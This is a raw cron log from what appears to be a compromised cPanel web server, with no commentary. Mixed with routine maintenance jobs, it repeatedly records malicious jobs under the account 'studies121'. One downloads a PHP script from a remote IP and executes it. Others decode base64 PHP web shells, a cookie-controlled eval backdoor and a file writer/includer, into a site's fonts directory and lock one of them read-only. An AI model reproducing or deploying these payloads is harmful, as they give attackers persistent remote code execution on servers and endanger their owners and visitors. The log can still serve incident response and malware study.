Sep 10 16:40:01 ip-184-168-122-23 CROND[7658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:40:01 ip-184-168-122-23 CROND[7661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:40:01 ip-184-168-122-23 CROND[7660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:40:01 ip-184-168-122-23 CROND[7659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:40:01 ip-184-168-122-23 CROND[7662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:40:01 ip-184-168-122-23 CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:40:01 ip-184-168-122-23 CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:41:01 ip-184-168-122-23 CROND[7852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:41:01 ip-184-168-122-23 CROND[7855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:41:01 ip-184-168-122-23 CROND[7854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:41:01 ip-184-168-122-23 CROND[7856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:42:01 ip-184-168-122-23 CROND[8049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:42:01 ip-184-168-122-23 CROND[8051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:42:01 ip-184-168-122-23 CROND[8052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:42:01 ip-184-168-122-23 CROND[8054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:42:01 ip-184-168-122-23 CROND[8053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:43:01 ip-184-168-122-23 CROND[8245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:43:02 ip-184-168-122-23 CROND[8250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:43:02 ip-184-168-122-23 CROND[8252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:43:02 ip-184-168-122-23 CROND[8253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:44:01 ip-184-168-122-23 CROND[8368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:44:01 ip-184-168-122-23 CROND[8369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:44:01 ip-184-168-122-23 CROND[8371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:44:01 ip-184-168-122-23 CROND[8372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:44:01 ip-184-168-122-23 CROND[8376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8487]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8490]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:45:01 ip-184-168-122-23 CROND[8495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:45:01 ip-184-168-122-23 CROND[8494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:46:01 ip-184-168-122-23 CROND[8698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:46:01 ip-184-168-122-23 CROND[8700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:46:01 ip-184-168-122-23 CROND[8702]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 16:46:01 ip-184-168-122-23 CROND[8705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:46:01 ip-184-168-122-23 CROND[8701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:46:01 ip-184-168-122-23 CROND[8703]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:46:01 ip-184-168-122-23 CROND[8704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:47:01 ip-184-168-122-23 CROND[8809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:47:01 ip-184-168-122-23 CROND[8813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:47:01 ip-184-168-122-23 CROND[8811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:47:01 ip-184-168-122-23 CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:48:01 ip-184-168-122-23 CROND[8941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:48:01 ip-184-168-122-23 CROND[8940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:48:01 ip-184-168-122-23 CROND[8942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:48:01 ip-184-168-122-23 CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:48:01 ip-184-168-122-23 CROND[8943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:49:01 ip-184-168-122-23 CROND[9044]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 16:49:01 ip-184-168-122-23 CROND[9045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:49:01 ip-184-168-122-23 CROND[9046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:49:01 ip-184-168-122-23 CROND[9047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:49:01 ip-184-168-122-23 CROND[9048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:50:01 ip-184-168-122-23 CROND[9193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:50:01 ip-184-168-122-23 CROND[9196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:50:01 ip-184-168-122-23 CROND[9195]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:50:01 ip-184-168-122-23 CROND[9197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:50:01 ip-184-168-122-23 CROND[9203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:50:02 ip-184-168-122-23 CROND[9205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:50:02 ip-184-168-122-23 CROND[9206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:50:02 ip-184-168-122-23 CROND[9207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:50:02 ip-184-168-122-23 CROND[9212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:51:01 ip-184-168-122-23 CROND[9349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:51:02 ip-184-168-122-23 CROND[9351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:51:02 ip-184-168-122-23 CROND[9352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:51:02 ip-184-168-122-23 CROND[9354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:52:01 ip-184-168-122-23 CROND[9521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
